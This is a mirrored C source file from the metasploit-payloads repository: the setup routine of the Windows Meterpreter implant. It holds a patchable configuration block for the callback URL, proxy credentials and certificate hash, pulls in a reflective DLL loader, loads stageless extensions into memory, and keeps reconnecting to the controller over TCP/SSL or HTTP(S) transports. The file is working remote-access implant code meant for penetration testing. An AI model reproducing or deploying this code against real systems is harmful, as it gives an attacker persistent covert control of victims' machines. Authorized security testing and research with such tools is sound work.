1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-30 22:19:17 +02:00
OJ f83dfb46f4 Merge branch 'upstream/master' into connection-recovery
Conflicts:
	source/common/arch/win/i386/base_dispatch.c
	source/server/server_setup_win.c
2015-04-17 14:41:27 +10:00

298 lines
12 KiB
C

/*!
* @file server_setup.c
*/
#include "metsrv.h"
#include "../../common/common.h"
#include <ws2tcpip.h>
#include "win/server_transport_winhttp.h"
#include "win/server_transport_tcp.h"
#define TRANSPORT_ID_OFFSET 22
extern Command* extensionCommands;
typedef struct _MetsrvConfigData
{
wchar_t transport[28];
wchar_t url[524];
wchar_t ua[256];
wchar_t proxy[104];
wchar_t proxy_username[112];
wchar_t proxy_password[112];
BYTE ssl_cert_hash[28];
union
{
char placeholder[sizeof(TimeoutSettings)];
TimeoutSettings values;
} timeouts;
} MetsrvConfigData;
MetsrvConfigData global_config =
{
.transport = L"METERPRETER_TRANSPORT_SSL\x00\x00",
.url = L"https://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/\x00\x00",
.ua = L"METERPRETER_UA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
.proxy = L"METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
.proxy_username = L"METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
.proxy_password = L"METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
.ssl_cert_hash = "METERPRETER_SSL_CERT_HASH\x00\x00\x00",
.timeouts.placeholder = "METERP_TIMEOUTS\x00"
};
// include the Reflectiveloader() function
#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
{
return EXCEPTION_EXECUTE_HANDLER;
}
#define InitAppInstance() { if( hAppInstance == NULL ) hAppInstance = GetModuleHandle( NULL ); }
/*!
* @brief Get the session id that this meterpreter server is running in.
* @return ID of the current server session.
*/
DWORD server_sessionid()
{
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
static PROCESSIDTOSESSIONID processIdToSessionId = NULL;
HMODULE kernel = NULL;
DWORD sessionId = 0;
do
{
if (!processIdToSessionId)
{
kernel = LoadLibraryA("kernel32.dll");
if (kernel)
{
processIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress(kernel, "ProcessIdToSessionId");
}
}
if (!processIdToSessionId)
{
break;
}
if (!processIdToSessionId(GetCurrentProcessId(), &sessionId))
{
sessionId = -1;
}
} while( 0 );
if (kernel)
{
FreeLibrary(kernel);
}
return sessionId;
}
/*!
* @brief Load any stageless extensions that might be present in the current payload.
* @param remote Pointer to the remote instance.
* @param fd The socket descriptor passed to metsrv during intialisation.
*/
VOID load_stageless_extensions(Remote* remote, ULONG_PTR fd)
{
LPBYTE extensionStart = (LPBYTE)fd + sizeof(DWORD);
DWORD size = *((LPDWORD)(extensionStart - sizeof(DWORD)));
while (size > 0)
{
dprintf("[SERVER] Extension located at 0x%p: %u bytes", extensionStart, size);
HMODULE hLibrary = LoadLibraryR(extensionStart, size);
dprintf("[SERVER] Extension located at 0x%p: %u bytes loaded to %x", extensionStart, size, hLibrary);
initialise_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
extensionStart += size + sizeof(DWORD);
size = *((LPDWORD)(extensionStart - sizeof(DWORD)));
}
dprintf("[SERVER] All stageless extensions loaded");
}
/*!
* @brief Create a new transport based on the given metsrv configuration.
* @param config Pointer to the metsrv configuration block.
* @param stageless Indication of whether the configuration is stageless.
* @param fd The socket descriptor passed to metsrv during intialisation.
*/
static Transport* transport_create(MetsrvConfigData* config, BOOL stageless)
{
Transport* t = NULL;
wchar_t* transport = config->transport + TRANSPORT_ID_OFFSET;
wchar_t* url = config->url + (stageless ? 1 : 0);
dprintf("[TRANSPORT] Type = %S", transport);
dprintf("[TRANSPORT] URL = %S", url);
if (wcscmp(transport, L"SSL") == 0)
{
t = transport_create_tcp(url, &config->timeouts.values);
}
else
{
BOOL ssl = wcscmp(transport, L"HTTPS") == 0;
t = transport_create_http(ssl, url, config->ua, config->proxy, config->proxy_username,
config->proxy_password, config->ssl_cert_hash, &config->timeouts.values);
}
dprintf("[TRANSPORT] Comms timeout: %u %08x", t->timeouts.comms, t->timeouts.comms);
dprintf("[TRANSPORT] Session timeout: %u %08x", t->timeouts.expiry, t->timeouts.expiry);
dprintf("[TRANSPORT] Session expires: %u %08x", t->expiration_end, t->expiration_end);
dprintf("[TRANSPORT] Retry total: %u %08x", t->timeouts.retry_total, t->timeouts.retry_total);
dprintf("[TRANSPORT] Retry wait: %u %08x", t->timeouts.retry_wait, t->timeouts.retry_wait);
return t;
}
/*!
* @brief Setup and run the server. This is called from Init via the loader.
* @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions.
* @return Meterpreter exit code (ignored by the caller).
*/
DWORD server_setup(SOCKET fd)
{
THREAD* serverThread = NULL;
Remote* remote = NULL;
char stationName[256] = { 0 };
char desktopName[256] = { 0 };
DWORD res = 0;
// first byte of the URL indites 's' if it's stageless
BOOL isStageless = global_config.url[0] == 's';
dprintf("[SERVER] Initializing...");
// if hAppInstance is still == NULL it means that we havent been
// reflectivly loaded so we must patch in the hAppInstance value
// for use with loading server extensions later.
InitAppInstance();
srand((unsigned int)time(NULL));
__try
{
do
{
dprintf("[SERVER] module loaded at 0x%08X", hAppInstance);
// Open a THREAD item for the servers main thread, we use this to manage migration later.
serverThread = thread_open();
dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm);
if (!(remote = remote_allocate()))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
// Store our thread handle
remote->server_thread = serverThread->handle;
// Store our process token
if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token))
{
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token);
}
// Copy it to the thread token
remote->thread_token = remote->server_token;
// Save the initial session/station/desktop names...
remote->orig_sess_id = server_sessionid();
remote->curr_sess_id = remote->orig_sess_id;
GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL);
remote->orig_station_name = _strdup(stationName);
remote->curr_station_name = _strdup(stationName);
GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL);
remote->orig_desktop_name = _strdup(desktopName);
remote->curr_desktop_name = _strdup(desktopName);
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
if (isStageless)
{
// in the case of stageless payloads, fd contains a pointer to the extensions
// to load
dprintf("[SERVER] Loading stageless extensions");
load_stageless_extensions(remote, (ULONG_PTR)fd);
}
// allocate the "next transport" information based off the global configuration
dprintf("[SERVER] creating transport");
remote->next_transport = transport_create(&global_config, isStageless);
while (remote->next_transport)
{
// Work off the next transport
remote->transport = remote->next_transport;
if (remote->transport->transport_init)
{
dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport->transport_init);
// Each transport has its own set of retry settings and each should honour
// them individually.
if (!remote->transport->transport_init(remote, fd))
{
dprintf("[SERVER] transport initialisation failed.");
// when we have a list of transports, we'll iterate to the next one.
break;
}
}
// once initialised, we'll clean up the next transport so that we don't try again
remote->next_transport = NULL;
dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread);
if (remote->transport->transport_deinit)
{
remote->transport->transport_deinit(remote);
}
// If the transport mechanism failed, then we should loop until we're able to connect back again.
// But if it was successful, and this is a valid exit, then we should clean up and leave.
if (dispatchResult == ERROR_SUCCESS)
{
remote->transport->transport_destroy(remote);
}
else
{
// try again!
if (remote->transport->transport_reset)
{
remote->transport->transport_reset(remote->transport);
}
// when we have a list of transports, we'll iterate to the next one (perhaps?)
remote->next_transport = remote->transport;
}
}
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines(remote);
} while (0);
remote_deallocate(remote);
}
__except (exceptionfilter(GetExceptionCode(), GetExceptionInformation()))
{
dprintf("[SERVER] *** exception triggered!");
thread_kill(serverThread);
}
dprintf("[SERVER] Finished.");
return res;
}